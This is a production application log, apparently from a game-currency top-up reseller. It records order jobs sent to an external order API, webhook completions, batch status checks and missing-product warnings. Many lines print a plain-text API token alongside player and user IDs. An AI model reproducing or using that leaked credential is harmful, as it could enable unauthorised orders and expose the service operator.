[2026-03-24 21:32:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"user_id":1414,"notification_type":"order_approved","reference_id":179401} 
[2026-03-24 21:32:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:32:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:32:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"processed":1,"errors":0} 
[2026-03-24 21:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276,"processed":1,"errors":0} 
[2026-03-24 21:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"76OD3i6KtiuqsUA9zR5PJCcNPhZlDqlA","execution_time":"2026-03-24 21:32:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yHyJa-1774377097","operation_id":164276} 
[2026-03-24 21:32:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 21:32:19] production.INFO: SendAcceptReject: Notification queued {"user_id":722,"notification_type":"order_approved","reference_id":179347} 
[2026-03-24 21:32:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 722  
[2026-03-24 21:32:29] production.INFO: Constructing job for order: 179402  
[2026-03-24 21:32:32] production.INFO: Handling job for order: 179402  
[2026-03-24 21:32:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:32:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:32:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=2500&uuid=987b4586-c73d-4b9a-b3c7-5b73dca13fa0&Player_ID=1113376259  
[2026-03-24 21:32:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=2500&uuid=987b4586-c73d-4b9a-b3c7-5b73dca13fa0&Player_ID=1113376259","has_body":false} 
[2026-03-24 21:32:33] production.INFO: Operation sent successfully {"operation_id":164277,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CJTGI4J-1774377152","amount":43.6956519999999954961822368204593658447265625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:32:33"}},"processed_data":{"order_number":"ORD-CJTGI4J-1774377152","amount":43.6956519999999954961822368204593658447265625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:32:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CJTGI4J-1774377152","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:32:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-CJTGI4J-1774377152","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:32:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:32:37] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"order_approved","reference_id":179402} 
[2026-03-24 21:32:37] production.INFO: Order updated successfully. Order ID: 179402, Status: completed  
[2026-03-24 21:32:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CJTGI4J-1774377152","status":"completed","codes_count":0} 
[2026-03-24 21:32:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:32:55] production.INFO: Constructing job for order: 179403  
[2026-03-24 21:32:57] production.INFO: Handling job for order: 179403  
[2026-03-24 21:32:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:32:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:32:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=230000&uuid=1b40db6e-3e9f-41a4-a61d-b8ccfd05e21a&Player_ID=64248245  
[2026-03-24 21:32:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=230000&uuid=1b40db6e-3e9f-41a4-a61d-b8ccfd05e21a&Player_ID=64248245","has_body":false} 
[2026-03-24 21:32:58] production.INFO: Operation sent successfully {"operation_id":164278,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XFGp78mJ-1774377177","amount":14.4029679999999995487769410829059779644012451171875,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 21:32:58"}},"processed_data":{"order_number":"ORD-XFGp78mJ-1774377177","amount":14.4029679999999995487769410829059779644012451171875,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 21:33:15] production.INFO: Constructing job for order: 179404  
[2026-03-24 21:33:16] production.INFO: Handling job for order: 179404  
[2026-03-24 21:33:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:33:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:33:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/628/params?qty=4700&uuid=23d601eb-6b20-487b-826f-99e54715e500&Player_ID=16192698  
[2026-03-24 21:33:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/628/params?qty=4700&uuid=23d601eb-6b20-487b-826f-99e54715e500&Player_ID=16192698","has_body":false} 
[2026-03-24 21:33:17] production.INFO: Operation sent successfully {"operation_id":164279,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Cc64p-1774377196","amount":2.328461310000000228370709010050632059574127197265625,"status":"processing","product":"Hiyoo Amount","game":"Hiyoo","notes":[],"created_at":"2026-03-24 21:33:17"}},"processed_data":{"order_number":"ORD-Cc64p-1774377196","amount":2.328461310000000228370709010050632059574127197265625,"status":"processing","product":"Hiyoo Amount","game":"Hiyoo"}} 
[2026-03-24 21:33:22] production.INFO: Constructing job for order: 179405  
[2026-03-24 21:33:23] production.INFO: Handling job for order: 179405  
[2026-03-24 21:33:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:33:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:33:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=50&uuid=293ae97f-474b-4f6f-ae62-f139f6db151f&Player_ID=1113376259  
[2026-03-24 21:33:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=50&uuid=293ae97f-474b-4f6f-ae62-f139f6db151f&Player_ID=1113376259","has_body":false} 
[2026-03-24 21:33:24] production.INFO: Operation sent successfully {"operation_id":164280,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gYwfBL-1774377203","amount":0.8739130399999999188054289334104396402835845947265625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:33:23"}},"processed_data":{"order_number":"ORD-gYwfBL-1774377203","amount":0.8739130399999999188054289334104396402835845947265625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:33:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gYwfBL-1774377203","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:33:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-gYwfBL-1774377203","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:33:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:33:28] production.INFO: SendAcceptReject: Notification queued {"user_id":1190,"notification_type":"order_approved","reference_id":179405} 
[2026-03-24 21:33:28] production.INFO: Order updated successfully. Order ID: 179405, Status: completed  
[2026-03-24 21:33:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gYwfBL-1774377203","status":"completed","codes_count":0} 
[2026-03-24 21:33:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1190  
[2026-03-24 21:33:31] production.INFO: Constructing job for order: 179406  
[2026-03-24 21:33:33] production.INFO: Handling job for order: 179406  
[2026-03-24 21:33:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:33:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:33:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/570/params?qty=10000&uuid=efe197d1-7598-4f2f-a150-3450824d55f1&Player_ID=11348206  
[2026-03-24 21:33:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/570/params?qty=10000&uuid=efe197d1-7598-4f2f-a150-3450824d55f1&Player_ID=11348206","has_body":false} 
[2026-03-24 21:33:33] production.INFO: Operation sent successfully {"operation_id":164281,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WB2MDH-1774377213","amount":2.22162900000000007594280759803950786590576171875,"status":"processing","product":"Layla Amount","game":"Layila","notes":[],"created_at":"2026-03-24 21:33:33"}},"processed_data":{"order_number":"ORD-WB2MDH-1774377213","amount":2.22162900000000007594280759803950786590576171875,"status":"processing","product":"Layla Amount","game":"Layila"}} 
[2026-03-24 21:33:47] production.INFO: Constructing job for order: 179407  
[2026-03-24 21:33:48] production.INFO: Constructing job for order: 179408  
[2026-03-24 21:33:48] production.INFO: Handling job for order: 179407  
[2026-03-24 21:33:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:33:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:33:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=172500&uuid=36d7495c-7574-4250-b7d5-0f32002424d9&Player_ID=61741342  
[2026-03-24 21:33:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=172500&uuid=36d7495c-7574-4250-b7d5-0f32002424d9&Player_ID=61741342","has_body":false} 
[2026-03-24 21:33:49] production.INFO: Operation sent successfully {"operation_id":164282,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-V4kz6-1774377229","amount":10.8022259999999992174934959621168673038482666015625,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 21:33:49"}},"processed_data":{"order_number":"ORD-V4kz6-1774377229","amount":10.8022259999999992174934959621168673038482666015625,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 21:33:49] production.INFO: Handling job for order: 179408  
[2026-03-24 21:33:49] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:33:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:33:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=af39e0ec-7a4d-4573-a8f7-7c5d9981c06c&Player_ID=471156  
[2026-03-24 21:33:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=af39e0ec-7a4d-4573-a8f7-7c5d9981c06c&Player_ID=471156","has_body":false} 
[2026-03-24 21:33:50] production.INFO: Operation sent successfully {"operation_id":164283,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EILQ-1774377230","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 21:33:50"}},"processed_data":{"order_number":"ORD-EILQ-1774377230","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 21:33:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-EILQ-1774377230","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:33:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-EILQ-1774377230","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:33:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:33:55] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179408} 
[2026-03-24 21:33:55] production.INFO: Order updated successfully. Order ID: 179408, Status: completed  
[2026-03-24 21:33:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-EILQ-1774377230","status":"completed","codes_count":0} 
[2026-03-24 21:33:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 21:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02"} 
[2026-03-24 21:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","total_operations":6,"sites_count":2} 
[2026-03-24 21:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-XFGp78mJ-1774377177","ORD-Cc64p-1774377196","ORD-WB2MDH-1774377213","ORD-V4kz6-1774377229"]} 
[2026-03-24 21:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 21:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cc64p-1774377196","operation_id":164279} 
[2026-03-24 21:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-V4kz6-1774377229","operation_id":164282} 
[2026-03-24 21:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WB2MDH-1774377213","operation_id":164281} 
[2026-03-24 21:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278} 
[2026-03-24 21:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 21:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"processed":0,"errors":0} 
[2026-03-24 21:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"orders_count":1,"order_ids":["ORD-oAPxE5vX-1774377093"]} 
[2026-03-24 21:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278} 
[2026-03-24 21:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"orders_count":1} 
[2026-03-24 21:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 21:34:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 21:34:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"count":1} 
[2026-03-24 21:34:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"count":1} 
[2026-03-24 21:34:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"user_id":1414,"notification_type":"order_approved","reference_id":179400} 
[2026-03-24 21:34:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:34:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:34:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"processed":1,"errors":0} 
[2026-03-24 21:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275,"processed":1,"errors":0} 
[2026-03-24 21:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Azc5xBHKkjA1swud5wr7iuCB7R01aMmH","execution_time":"2026-03-24 21:34:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-oAPxE5vX-1774377093","operation_id":164275} 
[2026-03-24 21:34:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 21:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 21:35:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 21:35:05] production.INFO: async() رجع: true  
[2026-03-24 21:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:35:29] production.INFO: Constructing job for order: 179409  
[2026-03-24 21:35:30] production.INFO: Handling job for order: 179409  
[2026-03-24 21:35:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:35:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:35:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=09550a20-73c2-49f3-9ad1-93455aa05a52&Player_ID=51715308952  
[2026-03-24 21:35:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=09550a20-73c2-49f3-9ad1-93455aa05a52&Player_ID=51715308952","has_body":false} 
[2026-03-24 21:35:31] production.INFO: Operation sent successfully {"operation_id":164284,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nmjd-1774377331","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:35:31"}},"processed_data":{"order_number":"ORD-nmjd-1774377331","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 21:35:42] production.INFO: Constructing job for order: 179410  
[2026-03-24 21:35:43] production.INFO: Handling job for order: 179410  
[2026-03-24 21:35:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:35:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:35:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=7a98d9d7-1715-4a30-9a29-513aab54a501&Player_ID=51915945353  
[2026-03-24 21:35:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/56/params?qty=1&uuid=7a98d9d7-1715-4a30-9a29-513aab54a501&Player_ID=51915945353","has_body":false} 
[2026-03-24 21:35:43] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-nmjd-1774377331","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:35:43] production.INFO: Processed webhook data (normalized) {"id":"ORD-nmjd-1774377331","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:35:43] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:35:43] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179409} 
[2026-03-24 21:35:43] production.INFO: Order updated successfully. Order ID: 179409, Status: completed  
[2026-03-24 21:35:43] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-nmjd-1774377331","status":"completed","codes_count":0} 
[2026-03-24 21:35:44] production.INFO: Operation sent successfully {"operation_id":164285,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-B4iDuf-1774377343","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:35:44"}},"processed_data":{"order_number":"ORD-B4iDuf-1774377343","amount":22.33800000000000096633812063373625278472900390625,"status":"processing","product":"1500+300UC","game":"PUBG"}} 
[2026-03-24 21:35:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:35:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-B4iDuf-1774377343","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:35:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-B4iDuf-1774377343","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:35:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:35:53] production.INFO: SendAcceptReject: Notification queued {"user_id":33,"notification_type":"order_approved","reference_id":179410} 
[2026-03-24 21:35:53] production.INFO: Order updated successfully. Order ID: 179410, Status: completed  
[2026-03-24 21:35:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-B4iDuf-1774377343","status":"completed","codes_count":0} 
[2026-03-24 21:35:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 33  
[2026-03-24 21:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02"} 
[2026-03-24 21:36:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","total_operations":5,"sites_count":1} 
[2026-03-24 21:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-XFGp78mJ-1774377177","ORD-Cc64p-1774377196","ORD-WB2MDH-1774377213","ORD-V4kz6-1774377229"]} 
[2026-03-24 21:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
